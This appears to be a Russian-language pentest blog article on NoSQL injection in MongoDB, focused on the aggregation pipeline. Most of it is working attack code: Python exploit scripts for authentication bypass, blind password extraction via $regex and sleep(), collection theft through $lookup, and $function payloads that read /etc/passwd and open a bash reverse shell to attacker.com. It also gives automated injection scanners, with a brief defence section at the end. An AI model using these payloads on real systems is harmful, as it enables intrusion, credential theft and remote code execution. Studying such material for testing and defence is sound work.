
27
MongoDB – это не SQL, и классические инъекции здесь не катят. Но разработчики расслабляются и льют пользовательский ввод прямо в запросы, думая, что NoSQL = безопасность. Спойлер: это не так. Aggregation pipeline открывает особенно жирные возможности для эксплуатации, потому что позволяет выполнять сложные операции, включая вычисления, условия и даже JavaScript.
Базовые NoSQL-инъекции в MongoDB
Перед тем как нырнуть в aggregation, освежим основы.
Классическая инъекция через операторы
Уязвимый код на Node.js:
|
1 2 3 4 5 6 7 8 9 |
app.post('/login', (req, res) => { const { username, password } = req.body; // УЯЗВИМО! db.collection('users').findOne({ username: username, password: password }); }); |
Эксплойт с операторами сравнения
Отправляем JSON:
|
1 2 3 4 |
{ "username": "admin", "password": {"$ne": null} } |
Запрос превращается в:
|
1 2 3 4 |
{ username: "admin", password: {$ne: null} } |
Обход аутентификации готов – $ne (not equal) пропустит любой пароль, который не null.
Другие операторы для инъекций
|
1 2 3 4 5 6 7 8 9 10 11 |
// Обход через regex {"username": {"$regex": "^admin"}} // Извлечение данных через $gt (greater than) {"username": "admin", "password": {"$gt": ""}} // Поиск по подстроке {"username": {"$where": "this.username.includes('admin')"}} // Логический OR {"$or": [{"username": "admin"}, {"username": "root"}]} |
Aggregation Pipeline: новая поверхность атаки
Aggregation – это конвейер обработки данных в MongoDB. Он состоит из стадий ($match, $group, $project, $lookup и т.д.), которые последовательно преобразуют документы.
Уязвимый код
|
1 2 3 4 5 6 7 8 9 10 11 |
app.get('/search', (req, res) => { const searchTerm = req.query.q; // УЯЗВИМО! const pipeline = [ { $match: { name: searchTerm } }, { $project: { name: 1, email: 1 } } ]; db.collection('users').aggregate(pipeline); }); |
Инъекция через $match
Если передать объект вместо строки:
|
1 2 3 4 5 6 7 |
import requests payload = { "q": {"$ne": ""} } response = requests.get("https://target.com/search", params=payload) |
Запрос становится:
|
1 |
{ $match: { name: {$ne: ""} } } |
Получаем все документы, где name не пустое – то есть все записи.
Продвинутые векторы через $where и JavaScript
Самое опасное – когда разработчики используют $where с JavaScript-выражениями.
Уязвимый код
|
1 2 3 4 5 |
const filter = req.body.filter; db.collection('products').find({ $where: `this.price < ${filter.maxPrice}` }); |
RCE через $where
|
1 2 3 |
payload = { "maxPrice": "100; return true; var x = 'pwned" } |
Финальное выражение:
|
1 |
this.price < 100; return true; var x = 'pwned' |
Можно инжектить произвольный JavaScript:
|
1 2 3 4 5 6 7 8 9 |
# Извлечение всех данных payload = { "maxPrice": "0) || (this.password.match(/^a/))" } # Blind boolean-based payload = { "maxPrice": "0) || (this.admin === true && sleep(5000))" } |
Эксплуатация с функцией sleep
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
import requests import time def test_condition(condition): payload = { "filter": { "maxPrice": f"0) || ({condition} && sleep(5000))" } } start = time.time() requests.post("https://target.com/api/search", json=payload) elapsed = time.time() - start return elapsed > 5 # Проверяем, есть ли админ if test_condition("this.role === 'admin'"): print("[+] Админ найден!") |
Инъекции через $lookup (JOIN-атаки)
$lookup позволяет делать JOIN между коллекциями. Если параметры инжектятся, можно получить данные из других таблиц.
Уязвимый код
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
const userId = req.params.id; const pipeline = [ { $match: { _id: userId } }, { $lookup: { from: req.body.collection, // УЯЗВИМО! localField: "userId", foreignField: "_id", as: "details" } } ]; |
Эксплойт
|
1 2 3 4 5 6 7 8 |
payload = { "collection": "admin_secrets" # Подставляем любую коллекцию } requests.post( "https://target.com/api/users/123", json=payload ) |
Получаем данные из таблицы admin_secrets, которая не должна быть доступна.
Инъекции через $expr и вычисления
$expr позволяет использовать выражения агрегации внутри запросов.
Уязвимый код
|
1 2 3 4 5 6 7 |
const userInput = req.body.amount; db.collection('orders').find({ $expr: { $gt: ["$total", userInput] } }); |
Атака через операторы агрегации
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
payload = { "amount": { "$divide": [1, 0] # Division by zero для DoS } } # Или извлечение данных payload = { "amount": { "$cond": { "if": {"$eq": ["$secret", "admin_password"]}, "then": 0, "else": 999999 } } } |
Blind NoSQL Injection через aggregation
Когда прямого вывода нет, используем слепые техники.
Boolean-based через $regex
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
def extract_password(username): password = "" chars = "abcdefghijklmnopqrstuvwxyz0123456789" for position in range(1, 33): for char in chars: payload = { "username": username, "password": { "$regex": f"^{password + char}" } } response = requests.post( "https://target.com/login", json=payload ) if "success" in response.text: password += char print(f"[+] Password: {password}") break return password |
Time-based через $where
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
def blind_injection(query): payload = { "$where": f"sleep(5000) || ({query})" } start = time.time() requests.post("https://target.com/search", json=payload) elapsed = time.time() - start return elapsed > 5 # Извлекаем первый символ пароля for char in "abcdefghijklmnopqrstuvwxyz": if blind_injection(f"this.password[0] === '{char}'"): print(f"[+] Первый символ: {char}") break |
Атаки через $function (MongoDB 4.4+)
С версии 4.4 MongoDB поддерживает $function для выполнения JavaScript прямо в aggregation.
Уязвимый код
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
const pipeline = [ { $addFields: { computed: { $function: { body: req.body.script, // КРИТИЧНО! args: ["$price"], lang: "js" } } } } ]; |
RCE через $function
|
1 2 3 4 5 6 7 8 9 10 |
payload = { "script": """ function(price) { // Выполняем произвольный код return db.admin_secrets.find().toArray(); } """ } requests.post("https://target.com/api/calculate", json=payload) |
Расширенный эксплойт
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
# Чтение файлов (если MongoDB запущен с правами) payload = { "script": """ function(x) { const fs = require('fs'); return fs.readFileSync('/etc/passwd', 'utf8'); } """ } # Reverse shell payload = { "script": """ function(x) { const { exec } = require('child_process'); exec('bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"'); return 1; } """ } |
Массовая эксплуатация через $facet
$facet позволяет выполнять несколько pipeline одновременно.
Атака
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
payload = { "pipeline": [ { "$facet": { "users": [ {"$match": {}}, {"$project": {"password": 1}} ], "admins": [ {"$match": {"role": "admin"}}, {"$project": {"secret_key": 1}} ], "secrets": [ {"$lookup": { "from": "admin_secrets", "pipeline": [], "as": "data" }} ] } } ] } |
Одним запросом дампим данные из нескольких источников.
Автоматизация: NoSQL-сканер
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
import requests import json class MongoInjector: def __init__(self, target_url): self.target = target_url def test_operators(self, param_name): """Тестируем базовые операторы""" payloads = [ {"$ne": ""}, {"$gt": ""}, {"$regex": ".*"}, {"$exists": True}, {"$where": "1==1"} ] for payload in payloads: data = {param_name: payload} resp = requests.post(self.target, json=data) if resp.status_code == 200: print(f"[+] Уязвим к: {payload}") def test_aggregation(self): """Тестируем aggregation pipeline""" payloads = [ [{"$match": {"$where": "sleep(5000)"}}], [{"$project": {"password": 1}}], [{"$lookup": {"from": "admin", "pipeline": [], "as": "x"}}] ] for payload in payloads: data = {"pipeline": payload} resp = requests.post(f"{self.target}/aggregate", json=data) if "password" in resp.text or "admin" in resp.text: print(f"[+] Aggregation уязвим: {payload}") def extract_data(self, collection="users"): """Извлекаем данные""" payload = { "filter": {"$ne": ""}, "projection": {"_id": 0} } resp = requests.post( f"{self.target}/search", json=payload ) return resp.json() # Использование scanner = MongoInjector("https://target.com/api") scanner.test_operators("username") scanner.test_aggregation() data = scanner.extract_data() print(json.dumps(data, indent=2)) |
Инструменты для автоматизации
NoSQLMap
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
# Установка git clone https://github.com/codingo/NoSQLMap.git cd NoSQLMap # Базовое сканирование python3 nosqlmap.py -u "http://target.com/login" \ --data "username=admin&password=test" \ --attack 1 # Извлечение данных python3 nosqlmap.py -u "http://target.com/api/search" \ --data "q=test" \ --attack 3 \ --verb POST |
Burp Suite + NoSQL Scanner Extension
|
1 2 3 4 5 6 7 8 |
1. Загружаем NoSQL Scanner из BApp Store 2. Перехватываем запрос в Burp 3. Отправляем в NoSQL Scanner 4. Выбираем векторы атак: - Operator Injection - JavaScript Injection - Aggregation Bypass 5. Запускаем сканирование |
Ручной сканер на Python
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
class AggressiveMongoTester: payloads = { "operators": [ '{"$ne": null}', '{"$gt": ""}', '{"$regex": ".*"}', '{"$nin": []}', ], "javascript": [ '"; return true; var x="', '0; return true; //', '"); return db.version(); //', ], "aggregation": [ '[{"$match": {}}]', '[{"$project": {"password": 1}}]', '[{"$lookup": {"from": "admin", "as": "x"}}]', ] } def scan(self, url, params): results = [] for category, payloads in self.payloads.items(): for payload in payloads: for param in params: test_data = params.copy() test_data[param] = json.loads(payload) resp = requests.post(url, json=test_data) if self.is_vulnerable(resp): results.append({ "param": param, "payload": payload, "category": category }) return results |
Защита от NoSQL-инъекций
Валидация входных данных
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
// Правильная валидация function validateUserInput(input) { // Запрещаем объекты в критичных полях if (typeof input !== 'string') { throw new Error('Invalid input type'); } // Черный список опасных символов const dangerous = ['$', '{', '}', '[', ']']; if (dangerous.some(char => input.includes(char))) { throw new Error('Invalid characters'); } return input; } // Использование app.post('/login', (req, res) => { const username = validateUserInput(req.body.username); const password = validateUserInput(req.body.password); db.collection('users').findOne({ username, password }); }); |
Запрет опасных операторов
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
const dangerousOps = ['$where', '$function', '$accumulator', '$expr']; function sanitizeQuery(query) { const str = JSON.stringify(query); for (const op of dangerousOps) { if (str.includes(op)) { throw new Error(`Dangerous operator detected: ${op}`); } } return query; } |
Настройка MongoDB для безопасности
|
1 2 3 4 5 6 7 8 |
// mongod.conf security: authorization: enabled javascriptEnabled: false // Отключаем $where и $function setParameter: internalQueryExecMaxBlockingSortBytes: 33554432 internalQueryMaxBlockingSortMemoryUsageBytes: 33554432 |
Чек-лист для пентеста MongoDB
$ne, $gt, $regex, $where$match, $lookup, $project$function и JavaScript-выраженийsleep()$facetadmin, config)$lookup с внешними источникамиВот так выглядит реальная атака на MongoDB через aggregation. Главное – помни, что разработчики часто забывают валидировать JSON-объекты, думая что NoSQL защищает их магически. Но операторы MongoDB – это просто JSON, и если его можно контролировать, можно ломать систему.